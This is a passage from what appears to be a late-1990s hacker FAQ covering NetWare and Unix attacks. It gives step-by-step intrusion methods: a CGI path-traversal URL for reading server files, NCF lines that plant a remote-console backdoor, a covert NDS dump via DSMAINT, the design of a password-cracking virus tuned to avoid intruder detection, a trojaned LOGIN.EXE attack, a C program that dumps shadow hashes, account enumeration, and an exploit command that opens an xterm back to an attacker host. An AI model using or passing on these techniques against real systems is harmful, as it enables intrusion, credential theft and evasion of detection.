A hacker could exploit this and gain control of other partitions, if any object in the first partition they have compromised has access rights to other directory partitions. Intruders could easily give themselves security equivalence to that object, or change that objects password with SYSCON, then login as that object and access the other partitions.

In other words, if a read/write or master partition is stored on one server, its supervisor can potentially manage all objects in this partition, and since its supervisor's password can be reset from the console, other partitions are at risk.

Read/only replicas of partitions by nature will not allow you to set your bindery context to a container in that area -- they are, duh, read only. Of course the brave can disconnect the server from the network, and run DSREPAIR on that server to change the partition to master, but that's rather extreme.

Novell recommends trying to restrict object rights to their own partition and to create replica partitions only on trusted server. Let's use an example to illustrate:

25.22 Can a department "Supe" become a regular Admin to the entire tree?

Yes, under certain conditions. Here is an example.

25.23 Are there products to help improve Netware's security?

While there are a number of products, commercial and shareware/public domain that have some security-related features, the following products are either really good or have some unique features.

One commercial product product that will check from a dictionary word list and simply report if the password is on the list is Bindview NCS. The bindery version is god-awful slow, but completely accurate. It requires Supe access to run. Bindview can also produce a number of reports. including customized reports to give you all kinds of info on the server and its contents. The new Bindview NDS product is even better. Running as an NLM the password-checking is lightning fast at spitting out account names that are using poor passwords. It can do several thousand checks vs. the one-per-couple-of-seconds speed of the bindery version. You can still use the slow across-the-network method if you desire, but this is only for those who like slow torture. The new reporting features are fabulous, and since they can be customized the wily sys admin can have custom security reports (among other things).

http://www.bindview.com/

"SafeWord Premiere Access" is an NLM that does password checks in a Netware Connect environment:

http://www.securecomputing.com/index.cfm?sKey=659

There is a product called Password Helper that "enhances" the security around the changing of passwords for 3.x. It is a local EXE/server NLM product that allows non-Supe users to reset passwords.

25.24 Is Netware's Web server secure?

Novell's Web Server had a HUGE bug. The CGI scripts are Basic programs (yes you are about to hack a server using Basic!) and several are included with the server. One in particular, CONVERT.BAS, takes a file and converts it to HTML and then sends it to the user. Here's an example for www.target.com:

http://www.netware.nmrc.org/scripts/convert.bas?readme.txt

The README.TXT file is returned as HTML. Now here's the bug:

http://www.netware.nmrc.org/scripts/convert.bas?../../any_file_on_sys_volume

Nasty, huh? I recommend "../../system/autoexec.ncf", or "../../etc/ldremote.ncf". It can also be useful for other things (see 06-2 for an example). This has been fixed in the latest version of Novell's IntranetWare.

25.25 What's the story with Netware's FTP NLM?

With IntranetWare, the FTP NLM has a couple of problems. The standard installation gives Read and File Scan access to SYS:ETC so anonymous users can access files in that directory. This is a problem if you use INETCFG to configure RCONSOLE and then don't go back and encrypt the password in the file. The SNMP community password is in this directory, to say nothing about protocols, addresses, and other configuration information.

The wily Admin can turn off the rights, but guess what? Doing this breaks the logging feature.

The other major problem on Netware 4.1 with FTPSERV.NLM is that some users logging in via FTP are granted excessive rights. Stopping and starting the NLM seems to put the rights back the way they are supposed to, but then they seem to come back to FULL rights. Using Fetch as an FTP client tends to make this happen all of the time.

While it does seem possible that going in and checking effective rights, checking bindery rights via SYSCON, and checking UNICON might turn up something, it seems that installed out of the box 4.1 is vulnerable. I am unsure if 4.11 is affected, but my guess is yes. The problem? If NFS file space isn't used, certain clients like Fetch and Cute FTP will end up with Supe rights to the volume.

25.26 Can an IntranetWare server be compromised from the Internet?

This is a tricky question, however it is POSSIBLE. I've been working on the right set of conditions in the lab, and I have got it to happen. However it involves a LOT of conditions. But these conditions are not entirely out of the question.

First, variations on the answers outlined in the previous two questions could be used to gain initial access. For example, if a poorly constructed CGI script was put in place that allowed write access to the server and could be redirected, additions could be added to NCF files.

For example, imagine that a CGI script is in place to add a line of text to a file, such as a mailing list. If this CGI script could be redirected, adding a few lines to SYS:ETC\LDREMOTE.NCF or SYS:SYSTEM\AUTOEXEC.NCF could give you complete access. Such lines might include:

UNLOAD REMOTE
LOAD REMOTE HACKPASSWORD
LOAD XCONSOLE

Now simply telnetting to the server, using "hackpassword", and choosing VT-100 will give you remote console access after the next reboot.

Can't telnet past that NLM-based firewall? Add the commands to the NCF file to simply unload it! You can reload it after you've gained access, if you desire.

Access via Novell's FTP NLM is another problem. If you can gain access to the server via FTP and get read/write access to the SYS: volume, you can alter NCF files and open up all kinds of access.

So what kinds of damage can be done? Grab passwords!

If you have gained access via techniques previously described, you can grab the password file(s). Novell has stated publicly it cannot happen, yet I have done it in the NMRC lab.

First off, the NDS files are located in the SYS:_NETWARE directory. You would of course have to gain access to these files. And there are a couple of ways to do this. You can use the techniques described in the Netware Console Attack section, which will allow all kinds of things. But let's say the administrator of the server has removed NETBASIC, and you can't upload a file like JCMD.NLM. You are not entirely sunk.

As stated elsewhere in this FAQ, running a BINDFIX on Netware 3.x made a copy of the bindery files in SYS:SYSTEM. To get that 4.11 backup file, you need to run the equivalent utility from the console. And it is very simple.

  1. If possible, wait until no one is logged in, as it will be noticable. During this process no one can log in, although users already logged in should be okay.
  2. UNLOAD CONLOG (duh)
  3. LOAD DSMAINT
  4. Choose the option to prepare for an upgrade.
  5. This process creates a complete backup of NDS and the login scripts, and puts it in SYS:SYSTEM. The file is called BACKUP.DS. Use the problem with FTP.NLM to get it, or simply load up FTP.NLM if it isn't running.

25.27 Are there any problems with Novell's Groupwise?

There is some concern about the ability to proxy another user's mailbox and calendar with Groupwise version 5.2. This attack seems to exclude those with admin rights. The hacker is unable to read the user's files, but he can send email representing the hacker as the user. NMRC is investigating this issue and will be sure to post the results.

25.28 Are there any problems with Netware's Macintosh namespace?

A hacker can make changes to the resource fork files without having modify rights. If write rights are removed, the files are secure, but nothing can be added to the directory.

25.29 What's the story with buffer overflows on Netware?

Buffer overflows do exist on Netware. Most buffer overflow exploits try to get the CPU to execute arbitrary code to gain higher levels of access to a system. Even though Novell says Netware NLMs run in protected memory and that problems with NLMs should not bother other NLMs, basically all Netware buffer overflows simply abend the server. This is the basis for many Denial of Service attacks against Netware.


Top | Next: Netware Mathematical/Theoretical Info | Previous: Netware Logging and Backdoors | Table of Contents

26.0 Netware Mathematical/Theoretical Info


This section has information regarding Netware, crypto, math, and theories regarding all of this.


26.1 How does the whole password/login/encryption thing work?

In 3.x and 4.x, passwords are encrypted. Here is the rough way in which 3.x handles this -

  1. Alice sends a login request to the server.
  2. The server looks up Alice's name and retreives her UID. The server also generates a random value R, and sends the (UID,R) pair to Alice.
  3. Alice generates X=hash(UID,password) then Y=hash(R,X). Alice then sends Y to the server.
  4. The server retreives the stored value X'=hash(UID,password), and computes Y'=hash(X',R). If Y=Y' Alice is granted access.
  5. Both Alice and the server compute Z=hash(X,R,c) (c is some constant value). Z is then used as the signature key for the current session.

Note: The last step is only done if both Alice and the server agree to sign packets.

The NetWare 4.x login sequence (4.x uses a private/public key scheme using RSA):

  1. Alice requests a login from the server.
  2. The server generates a random value R, and retrieves X'=hash(UID, password), and also computes Y'=hash(X',R). R is sent to Alice.
  3. Alice computes X=hash(UID,password) and Y=hash(X,R). Alice generates a random value R2, retrieves the servers public key and sends the pair (Y,R2) to the server encrypted with the server's public key.
  4. The server decrypted the (Y,R2) pair. If Y=Y', the password Alice gave is correct. The server retrieves Alice's private key, computes Z=(Alice's private key XOR R2) and transmits Z to Alice.
  5. Alice computes private_key=R2 XOR Z. This key is used to sign packets.

It should be noted that Netware 4.x encrypts Alice's RSA private key with X' when it's stored on the server.

26.2 Are "man in the middle" attacks possible?

In theory, by looking at the methods outlined in the previous question, there are several possibilities. First, Netware 3.x -

This is a variation of the Man-In-The-Middle attack used to attack public key cryptosystems. A real MITM attack will also work, but the link must be shut down in order to implement a MITM attack, and someone is likely to know something is up.

This attack requires that Bob (the attacker) be capable of sending packets to both the server and Alice (the user attempting to login) faster than the server and Alice can send packets to each other. There are a number of ways to set up this scenario. The best way is to implement a MITM attack by either by attacking a router, or by segmenting the wire between the server and Alice.

Another way is to gain two entry points into the network (one close to Alice, the other close to the server). The best way to do this is to wire two hosts together in the specified locations. If using wire is infeasable (which in most cases it will be), Bob can use wireless network cards, or modems plugged into existing phone jacks, or modems with cellular capability. If modems are used, the attack will require Bob to take control of two computers on the network, and will increase the time needed to get packets to Alice or the server.

This attack will not work if the server requires Alice to sign packets. Alice's workstation may be set up to sign packets, and Alice can still use signed packets, and the attack will still work. However, if all hosts are required to sign packets, the attack won't work. This is because Bob will never know Alice's password, nor will he ever know X=hash(UID,password). Since NetWare 3.x defaults to allowing the host to decide wether or not to sign packets, this attack is still feasable. Sysadmins can defeat this attack by requiring packet signatures for all hosts.

The attack:
When Bob sees Alice request a login, Bob also requests a login as Alice from. The server will generate two random values (R[a] and R[b], denoting the R sent to Alice and the R sent to Bob respectivley). When Bob receives R[b], he spoofs the servers address and sends R[b] to Alice. Alice will think the server requested Alice to compute Y[b]=hash(X,R[b]) rather than what the server really intended: Y[a]=hash(X,R[a]). Alice will then send Y[b] to the server, Bob will sniff Y[b] from the network as Alice sends it, and transmit it to the server (using his real address). At this point the server will think Alice has attempted to login twice. Bob's attempt will work, and Alice's attempt will fail. If all went well, Bob has assumed the identity of Alice without knowing her password, and Alice is re-typing in her password.

If the server won't allow the same user to login twice simultaneously, or ever aborts both login sequences after retreiving two responses to the same question, then Bob should saturate a network (but not shut it down completely) between Alice and the server while Bob is attempting to login as Alice.

For the ultra paranoid: Bob should be careful, there may be another attacker, Joe, just waiting for Alice to login with packet signing turned off. Here Joe can also assume the identity of Alice with significantly less effort.

Now let's discuss Netware 4.x:
The attack follows the Netware 3.x attack until Alice attempts to retrieve the server's public key. At this point Bob sends his own public key to Alice. Alice will then send the server the pair (Y,R2) encrypted with Bob's public key. Bob sniffs this information off the network, decrypts the pair (Y,R2). Then generates his own R2 (or keeps the one Alice chose), retreives the real public key of the server and sends the server the pair (Y,R2) encrypted with the server's real public key.

If server the is requiring packet signature, the server will then send Bob Z to allow him access as Alice. Bob doesn't know Alice's private key, as he never receives it. Remember that Netware 4.x encrypts Alice's RSA private key with X' when it's stored on the server, and is never send unencrypted on the wire. So Bob can't sign packets as Alice.

But Bob is not completely out of luck yet. Bob can try an offline attack at guessing Alice's password since he knows Y', R and Alice's UID. Bob needs to find X, such that Y=hash(X,R) = Y'. Since it's likely that Alice's password in not a particularly good one, this is a severe reduction in security, but not a total breach, since Bob can compute X by finding a password such that X=hash(pass,UID). Once Bob knows X, he can determine what Alice's private RSA key is. THEN he can sign packets.

It should be noted that Alice may cache the server's public key for the second login attempt. If this is true, Alice won't be able to login and may notice what has happened. But Alice's private RSA key will never change, and once that is attained is doesn't matter even if Alice changes her password. Alice's password can still be discovered.

26.3 Are Netware-aware viruses possible?

A NetWare aware virus could allow an attacker to gain access to a large number of servers available on the network.

Using one of the strategies used by the Internet Worm of 1988 combined with simple virus strategy, a virus can be constructed to infect many clients/servers across many networks (the virus could also employ attacks similiar to HACK.EXE or even Man-In-The_Middle attacks).

Some NetWare networks will have a large number of servers attached. It's also true that most users (including Supe and Admin) will use the same password on many different servers (some may have no password at all). A virus could exploit this vulnerability and spread to other servers which it otherwise would not have access to. The virus could also use the idle CPU time on infected clients to crack the passwords of other users.

However, care must be taken not to give the virus away by setting off intruder detection alarms. The virus should randomly select one user from a randomly selected server attempt to login using a randomly selected word from a wordlist. How often the client should attempt logins depends upon the size of the network (remember that if the virus succeeds, there may be 10s of thousands of clients breaking passwords in parrallel).

The virus should estimate the size of the network, and use laws of probibility to determine how often to attempt a break in so that no account is tried twice in the same hour. This should be calculated by relating the number of unique accounts, the number of clients (estimated by monitoring network traffic and assuming all servers have the same number of clients on their network. While this is not 100% accurate, this should be accurate enough for our purposes.

Some the estimated success rate of the virus (measured in propagation delay for infecting hosts per day from a single host), and the length of time the virus has been running should be considered. Using A=number of unique accounts, P = propagation delay, and n = number of days virus has been running, then the following computes the number of guesses the client should make per hour: (A*24)/(P^n).

What should or could this virus do? Well, if it is running on a workstation with a network card, we could sniff logins. Since R and hash(X,R) are sent in the clear, the virus could attempt an offline computational attack against X, thus avoiding a brute force attack that could trigger intruder detection. The virus can't use the MITM attacks on the login sequence because it doesn't have the required wiring topology neccessary to implement the attack. Yes, you COULD try and build that in but then it probably would be too big and noticeable. Remember, we're talking virus, not stand-alone application.

26.4 Can a trojaned LOGIN.EXE be inserted during the login process?

Apparently so.

Here is a different perspective of the login sequence which is common to all versions of NetWare:

  1. The workstation attaches to the server.
  2. The workstation maps a drive to the server's SYS:\LOGIN directory.
  3. The workstation downloads LOGIN.EXE from the server and executes it.
  4. If the user is authenticated, the workstation downloads and executes the login script.

The hole in this protocol is when the workstation downloads LOGIN.EXE. Since the user isn't logged in, there is no packet signing available, thus any workstation is capable of impersonating the server. Here the attacker can simply sniff the request to download LOGIN.EXE from the network, and then send the workstation ANY program in return and the workstation will execute it.

The optimal attack here would be to send a modified copy of the real LOGIN.EXE file. The modified EXE could encrypt the user's password (using public key crypto) and broadcast it to the network. However, the modified EXE could also carry out the login handshake as normal and log the user in and executing the login script. With this attack, the target user would have no way of identifying that anything out of the ordinary has happened. It appears that NetWare always starts with the sequence numbers at 0 and increments seq + 1 from there for the remainder of the session. Thus it's possible to predict the sequence numbers. This will allow the attacker to exploit the hole without using a MITM attack and still allow the conversation to continue normally by using only a single workstation.

The attack can also be carried out by any single host on the network which is capable of sniffing the request to download LOGIN.EXE. It's also possible to do this even if the workstation and the server are on the same network (if and only if the server is slower responding to requests than the attacker's machine). Here the attacker just makes up the sequence numbers, and sends the workstation a phony LOGIN.EXE which will broadcast the user's password (again, encrypted) over the network and then re-boot the machine. (It's also possible for the attacker to log the user in and have the attack transperent to the user. In this case, the attacker would have to sniff one of the server's packets off the network, and re-send it to the workstation with adjusted sequence numbers so that the workstation's next ACK will synch with the server's sequence numbers. Note that the attacker will have to artificially ACK the packets the server sends when the client tries to download LOGIN.EXE.)

It's been stated that only the first few bytes of NetWare packets are signed. That means the user can not only modify LOGIN.EXE on the fly, but can modify any program on the fly.

Let's put this into a more proper perspective. The exploit program would take the MAC address of an admin/supe person as a parameter, wait for the user to attempt to login, exploit the host, and exit. If the attacker didn't want to take the effort to allow the conversation to continue, s/he could make the exploit program re-boot the host automatically after broadcasting the password over the network (once again, encrypted and intended for the attacker).

Obviously we don't need to exploit a large range of hosts, only the ones with LAN admins logging in. This would typically be a small subset of machines (which quite possibly normal users wouldn't have access to in order to prevent the use of keyboard capture routines). So all the attacker needs to do is exploit the host where the Admin-equiv logs in.

The idea came from an already known hole in NFS for UNIX (it's exploited exactly the same way). But NetWare is supposed to avoid this hole through the use of packet signatures. It obviously didn't. The exploit for this hole would really not be much different than the code for HACK.EXE which uses the same principles.

Of course, this hole allows anyone to execute any arbitrary program on any host. So the possibilities are only limited to your imagination, especially if you start combining the techniques from section 11. A virus that did the LOGIN.EXE spoof that left code to decypher the private key of each workstation comes leaping to mind...

Now the MITM attack isn't required to take advantage of any part of this attack. It would be if the attacker couldn't predict the server's and the user's sequence numbers. This has the following effects:

  1. The attacker doesn't need to sniff one of the server's packets off the network to resynchronize the sequence numbers.
  2. The attacker doesn't need to artifically ACK the server's responses.
  3. The MITM attack isn't needed to modify a program on the fly. Any single workstation can implement the attack.

26.5 Is anything "vulnerable" during a password change?

Netware 3.x does not use the public key crypto stuff that Netware 4.x uses, so to transmit a password across the wire during a password change it has to be encrypted with something. The new password is encrypted with the previous password. However if the previous password is blank (i.e. new account) the "key" to encrypt with might as well be plaintext.

26.6 Is "data diddling" possible?

Novell's data validation scheme involves packet signature and a checksum. However since a checksum includes the packet signature, IN THEORY it is possible to use this info in combination with another problem to diddle data.

The other problem involves the fact that packet signature only uses the first 52 bytes of the data portion, which means any data from byte 89 and on could be altered, a new checksum generated, and the packet would now have a valid signature AND checksum, but altered data.

Of course, this assumes an attacker could write code that could do something interesting beyond byte 89 AND generate a checksum AND retransmit the forged packet AND beat the real packet to its destination.

Assuming checksums could be predetermined, especially if you are looking for a specific source and target address and type of packet, it could be done.


Top | Next: Unix Accounts | Previous: Netware Misc. Attack Info | Table of Contents

27.0 Unix Accounts


The following section deals with Accounts on Unix systems.


27.1 What are common accounts and passwords for Unix?

All Unix systems have an account called root. This account is also commonly known as the superuser. Actually, any account with a user ID (UID) and group ID (GID) of zero could be considered a superuser account. It is possible that a system administrator will rename the root account for obfuscation, but this is rather impractical as many applications not only require that there be an account with UID zero but also require the name of the account be "root" to perform certain functions. As administrators do not wish to create more problems for themself, or have to patch more code than neccessary, this is a rare occurence.

Oh, and unless you've been living under a rock, you should already know that root is the holy name of God in Unix.

Here are a few other accounts and passwords (if known) commonly found on Unix systems:

System Account Password Purpose
Some guest (none) Guest Access
Some demo (none) Demo access
Some games (none) Play games
Some nuucp (none) UUCP access
Some daemon (none) Typically invalid for direct access
Some bin (none) Typically invalid for direct access
Some man (none) Typically invalid for direct access
Some lpd (none) Typically invalid for direct access
Some sys (none) Typically invalid for direct access
Some nobody (none) Typically invalid for direct access
Some ftp (none) Anonymous FTP acccess, requests email address in lieu of password
AIX guest guest Guest access
NeXT root NeXT god (default password on shipped systems)
NeXT signa signa Guest account
NeXT me (none) Not seen on all systems
SGI/IRIX 4DGifts (none) Unknown
SGI/IRIX lp (none) Unknown
SGI/IRIX tour (none) Unknown
SGI/IRIX tutor (none) Unknown
SGI/IRIX demos (none) Unknown

27.2 How can I figure out valid account names for Unix?

Remotely, you have a few things you can try. Here are a few suggestions:

finger
By typing in 'finger @targethost', you may get users that are currently logged in. This will give you a few accounts. Also by typing 'finger account@targethost' you may be able to determine if that account is valid, and possibly the last time it has been accessed. Unfortunately, most Unix systems refuse finger requests from remote hosts, so this usually doesn't do you a lot of good. But if finger is allowed, it can return a lot of information. Try running finger with a '-l' for more verbose listings. If you gain local access, use 'finger account' to get info on other accounts on the system. For example, if 'finger root' returns info about an administrator named Fred, then 'finger fred', which may reveil Fred's regular account.
rusers
You can run 'rusers example.com' which may return remote user info if the service is allowed.
whois
Doing a 'whois example.com' will return info about who is responsible for the domain, and usually includes valid account names. You can use this to possibly determine other account names, and odds are very good that the administrative contact and/or the technical contact have the system privileges you desire.
mail
Often by telnetting to the mail server and trying to verify or expand names you can learn account names. By typing 'telnet example.com 25' and typing in 'EXPN account' or 'VRFY account' will tell you if that account is valid. You may have to type in 'HELO' or some other commands before you can do an EXPN or VRFY.

A lot of administrators are aware of the above techniques, and will often treat these probes as attacks themselves. Many sites refuse finger and ruser accesses, and a lot of sites have configured their mailer to either not respond to VRFY and EXPN or simply return nothing of value. Odds are good that sites that refuse these types of probes are usually logging these types of probes, so you may wish to probe from one location and attack from another.

If you can gain access locally, such as through a guest account, there are a number of things you can do to view possible account names. Try using some of the finger techniques from above minus the targethost, try typing 'w' or 'who' or even 'more /etc/passwd' to get account names.


Top | Next: Unix Passwords | Previous: Netware Mathematical/Theoretical Info | Table of Contents

28.0 Unix Passwords


This section deals with Unix passwords.


28.1 How do I access the password file in Unix?

The password file for Unix is located in /etc and is a text file called passwd. By default and by design, this file is world readable by anyone on the system. On a Unix system using NIS/yp or password shadowing the password data may be located elsewhere. This "shadow" file is usually where the password hashes themselves are located.

28.2 What's the full story with Unix passwords?

Okay, first off, let's cover the structure of the password file.

An entry in the password file consists of seven colon-delimited fields:

nomad:HrLNrZ3VS3TF2:501:100:Simple Nomad:/home/nomad:/bin/bash

This is what the fields actually are:

nomad
Account or user name, what you type in at the login prompt
HrLNrZ3VS3TF2
One way encrypted password (plus any aging info)
501
User number
100
Group number
Simple Nomad
GECOS information
/home/nomad
Home directory
/bin/bash
Program to run on login, usually a shell

The password field contains, yes, a one-way encrypted password. This means that it is practically impossible to decrypt the encrypted password. The password field consists of 13 characters - the first two characters are the "salt" and the remainder is the actual hash.

When you log in with your account name and password, the password is encrypted and the resulting hash is compared to the hash stored in the password file. If they are equal, the system accepts that you've typed in the correct password and grants you access.

To prevent crackers from simply encrypting an entire dictionary and looking up the hash, the salt was added to the algorithm to create a possible 4096 different conceivable hashes for a particular password. This lengthens the cracking time because it becomes a little harder to store an encrypted dictionary online as the encrypted dictionary now would have to take up 4096 times the disk space. This does not make password cracking harder, just more time consuming.

Unix passwords allow mixed case, numbers, and symbols. Typically the maximum password length on a standard Unix system is 8 characters, although some systems (or system enhancements) allow up to 16 characters.

28.3 How does brute-force password cracking work with Unix?

Brute-force password cracking is simply trying a password of A with the given salt, folowing by B, C, and on and on until every possible character combination is tried. It is very time consuming, but given enough time brute force cracking WILL get the password.

There are a few brute-force crackers out there for Unix passwords. Any brute-force cracker will do

28.4 How does dictionary password cracking work with Unix?

Dictionary password cracking is the most popular method for cracking Unix passwords. The cracking program will take a word list, and one at a time try to crack one or all of the passwords listed in the password file. Some password crackers will filter and/or mutate the words as they try them, such as substitute numbers for certain letters, add prefixes or suffixes, or switch case or order of letters.

The most popular cracking utility is probably Alex Muffet's program, Crack. Crack can be configured by an administrator to periodically run and automagically mail a nastygram to a user with a weak password, or run in manual mode. Crack can also be configured to run across multiple systems and to use user-defined rules for word manipulate/mutation to maximize dictionary effectiveness - very flexible. However it is probably too much program for the novice script kiddie.

Another popular favorite is John the Ripper, based off of the popular DOS-based Jack the Ripper. Jack had a number of easy-to-use features, and Solar Designer took Jack's interface and developed John. To make things even better, Solar added Crack-like rules, and made sure the code would run on DOS or Unix. Either one is recommended. If you're going to be cracking on a DOS-based machine, use John the Ripper, otherwise either one is fine for Unix (the jury is still out on which one is best for Unix, it really depends on which one you are used to using).

28.5 How does an admin enforce better passwords and password management?

There are several techniques that an admin might employ to force users to use better passwords, and several different packages that could be loaded and configured onto most Unix systems to better secure the passwords.

One of the first techniques is to enforce password aging. While this varies from system to system, basically password aging states that you can "expire" a password. That way you can force a user to have to change his password periodically.

The security advantage is that if the user changes their password every 30 days, that stolen password file is obsolete after a month (in theory, see the next question). This alone is not real security unless it is used in conjunction with other password techniques.

Some systems allow a minimal password length to be specified, certain dictionary words to be disallowed, or even disallow perceived "crackable" passwords. This in combination with password aging can help ensure that a user's password is probably going to be aged and therefore changed before it can be cracked.

Another very popular technique is called password "shadowing". This alters the password file entry slightly:

nomad:!:501:100:Simple Nomad:/home/nomad:/bin/bash

Note the "!" token in place of the one way encrypted password. This means that the password is located in a different file, typically called the shadow file. You will also find a "*" token on some shadow password implementations. On many Unix systems, the password file is still located in /etc but called shadow, some systems even place the shadow in a different directory. Here is a chart that lists a few systems, the location of the shadow, and the token.

System Shadow Token
AIX /etc/security/passwd !
BSD /etc/master.passwd *
DG/UX /etc/tcb/aa/user/ *
HP-UX /.secure/etc/passwd *
IRIX /etc/shadow x
Linux /etc/shadow *
SCO /tcb/auth/files/[first letter of username]/[username] *
SunOS 4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.x /etc/shadow [optional NIS+ private secure maps/tables] ##username
System V < 4.2 /etc/shadow x
System V >= 4.2 /etc/security/* database x

Depending on the system and implementation, an encrypted password may still be allowed in the password field, and lack of anything in the field implies lack of a password for that account. Some systems (AIX comes to mind) allow you to configure exactly what is allowed and not allowed as far as how the password field is used.

It should be noted most modern systems come with password shadowing already set up and configured.

28.6 So how do I get to those shadowed passwords?

The easiest way to get the hashes is to gain root and then compile and run the following program:

/*
 * shadow.c    - gcc -o shadow shadow.c
 * run as root - shadow > passwd.file
 */
#include &lgt;pwd.h>
main() 
{
  struct passwd *p;
  while(p=getpwent())
  printf("%s:%s:%d:%d:%s:%s:%s\n", 
    p-> pw_name,    /* account name */
    p-> pw_passwd,  /* hash */
    p-> pw_uid,     /* user id */
    p-> pw_gid,     /* group id */
    p-> pw_gecos,   /* gecos field */
    p-> pw_dir,     /* home dir */
    p-> pw_shell);  /* shell (typically) */
}

This will output the reconstructed password file, which you can save for easy cracking in most common password crackers. This will not work on a system using SRP (see below).

28.7 So what can I learn with a password file from a heavily secured system?

Okay, so you've gained access to a system and can see the password file, but it is shadowed and haven't busted root (yet), or you are simply viewing the password file, say through a CGI exploit. Here is an example:

root:!:0:0:root:/root:/bin/tcsh
bin:!:1:1:bin:/bin:
daemon:!:2:2:daemon:/sbin:
adm:!:3:4:adm:/var/adm:
lp:!:4:7:lp:/var/spool/lpd:
sync:!:5:0:sync:/sbin:/bin/sync
shutdown:!:6:0:shutdown:/sbin:/sbin/shutdown
halt:!:7:0:halt:/sbin:/sbin/halt
mail:!:8:12:mail:/var/spool/mail:
news:!:9:13:INN (NNTP Server) Admin ID, 525-2525:/usr/local/lib/inn:/bin/ksh
uucp:!:10:14:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uucico 
operator:!:0:0:operator:/root:/bin/tcsh
games:!:12:100:games:/usr/games:
man:!:13:15:man:/usr/man:
postmaster:!:14:12:postmaster:/var/spool/mail:/bin/tcsh
httpd:!:15:30:httpd:/usr/sbin:/usr/sbin/httpd:
nobody:!:65535:100:nobody:/dev/null:
ftp:!:404:100::/home/ftp:/bin/nologin
nomad:!:501:100:Simple Nomad, 525-5252:/home/nomad:/bin/bash
webadmin:!:502:100:Web Admin Group ID:/home/webadmin:/bin/bash
thegnome:!:503:100:Simple Nomad's Old Account:/home/thegnome:/bin/tcsh
dorkus:!:504:100:Alternate account for Fred:/home/dorkus:/bin/tcsh

Some of the more interesting things about this password file are:

28.8 What's the story with SRP?

SRP, or Secure Remote Password, uses a zero knowledge authentication scheme. That is, only the user knows their password, there is never enough cryptographic material going back and forth on the network to reveal the password or its hash. The same goes for the password file -- there is simply not enough material in the file to construct a hash. This means that even if you crack a system with a remote root exploit and are sitting at a root shell, you cannot grab password hashes to crack.

SRP has other useful features as well. It allows for complete replacement of FTP and telnet with SRP-enabled versions (clients and daemons), long passwords (up to 127 characters), and full encrypted sessions for both FTP and telnet.

For more information on zero knowledge protocols, check out the Advanced Protocols chapter in Bruce Schneier's Applied Cryptography. To learn more about SRP, check out The Stanford SRP Authentication Project.


Top | Next: Unix Local Attacks | Previous: Unix Accounts | Table of Contents

29.0 Unix Local Attacks


This section deals with attacking Unix from a local account or from the console itself.


29.1 Why attack locally?

When you are trying to gain root on a file server, one method to start with is to gain at least limited access on the system. There are large number of exploits to "bust root" but many require you have an account on the box. Here is an example attack scenario:

29.2 How do most exploits work?

There are several different attack techniques you can use from a local account and the handy exploit you are running. Here are a few common ones with extremely simple explanations:

Misconfiguration
If excessive permission exist on certain directories and files, these can lead to gaining higher levels of access. For example, if /dev/kmem is writable, it is possible to rewrite your UID to match root's. Another example would be if a .rhosts file has read/write permissions allowing anyone to write them. Yet another example would be a script launched at startup, cron, or respawned. If this script is editable, you could add commands to run with the same privileges as who started them (for startup rc files, this would be as root).
Poor SUID
Sometimes you will find scripts (shell or otherwise) that perform certain tasks and run as root. If the scripts are writable by your id, you can edit it and run it. For example, we once found a shutdown script world writable. By adding a few lines at the beginning of the script it was possible to have the script create a root shell in /tmp.
Buffer Overflow
Buffer overflows are typically used to spawn root shells from a process running as root. A buffer overflow could occur when a program has a buffer for user-defined data and the user-defined data's length is not checked before the program acts upon it. See the next question for more details.
Race Conditions
A Race Condition is when a program creates a short opportunity for evil by opening a small window of vulnerability. For example, a program that alters a sensitive file might use a temporary backup copy of the file during its alteration. If the permissions on that temporary file allow it to be edited, it might be possible to alter it before the program finishes its editing process.
Poor Temp Files
Many programs create temporary files while they run. If a program runs as root and is not careful about where it puts its temp files and what permissions these temp files have, it might be possible to use links to create root-owned files.

29.3 So how does a buffer overflow work?

A buffer overflow works as follows:

  1. Program eleetd has unchecked user input and is owned by root.
  2. Hacker creates program that sends user input greater than what eleetd's buffer for the input will hold.
  3. Hacker has made sure that this data when placed upon the stack will alter the next instruction the CPU will execute.
  4. Hacker runs evil program and the hacker's command, /bin/sh, runs as root, dropping the hacker to a shell running as root.

For example, if the buffer holds 108 bytes, the hacker creates a program that sends more than 108 bytes to that buffer. By carefully crafting the extra bytes starting at byte 109, the hacker can make the program execute additional commands.

For more information on buffer overflows, check out Mudge's tutorial on writing them, or read this overview in a paper called Compromised - Buffer Overflows, from Intel to SPARC Version 8. Another fine article appeared in Phrack 49, File 14, called Smashing The Stack For Fun And Profit by Aleph One.


Top | Next: Unix Remote Attacks | Previous: Unix Passwords | Table of Contents

30.0 Unix Remote Attacks


This section deals with hacking Unix systems remotely.


30.1 What are remote hacks?

A remote hack is when you attack a server you are not logged into. Usually this is done from another server, although in some cases you can do it from a regular PC (depending on the operating system).

Guessing a user account and password (unless it is a guest account) on a remote system is barely considered a remote hack, so we're not really cover that. We'll assume you don't know an account name and password on the remote system.

Remote hacks come in a couple of different flavors. Usually exploiting an existing service running on the victim server (which is misconfigured or allows too much access) is the goal. Exporting a NFS mount read/write to anyone might not be a bad thing, but if you can NFS mount directories containing .rhosts files, then it can be a very bad thing. Also, certain daemons running might be subject to buffer overflows remotely, allowing someone from a remote location run arbitrary commands on the victim server.

Here are a couple of examples:

  1. You are root on a host named badguy.
  2. You discover the host victim is exporting /home2/old read/writable to the world.
  3. You also discover by fingering various accounts that user fred's home directory is /home2/old/fred and he hasn't logged in for months.
  4. Quickly, you create a fred account on badguy.
  5. Now you mount /home2/old and create an .rhosts file to establish trust with badguy.
  6. After you become fred on badguy, you rlogin to the victim as fred.

Here's another attack involving a buffer overflow:

  1. This remote system is running named.
  2. You have written a named exploit that allows you to send arbitrary commands through the named daemon. It does a buffer overflow trick, you compile it and name it sploit.
  3. You type: sploit ns.example.com "/usr/X11R6/bin/xterm -display badguy.whatever:0"
  4. A window appears on your terminal that is running as root on ns.example.com.

Top | Next: Unix Logging | Previous: Unix Local Attacks | Table of Contents

31.0 Unix Logging


This section contains info regarding logging for Unix.


31.1 Where are the common log files in Unix?

Log files for Unix vary from flavor to flavor, but there are a few guidelines as to where these logs are kept.

System log files and accounting files are in /var/adm, /var/log, or sometimes /usr/adm. Common log files include 'messages', 'syslog', and on some systems 'sulog'. Checking '/etc/defaults' and '/etc/syslog.conf' may reveal more. Also 'wtmp', 'utmp', and 'lastlog' will contain information regarding logins.

The most important one will probably be syslog. Most utilities, including security add-on programs can write to syslog, so it makes a handy location for dumping info. But bear in mind that there are a lot of processes that might log to separate log files. Here are some potential files to look for:

/var/spool/cron/log
Cron log file
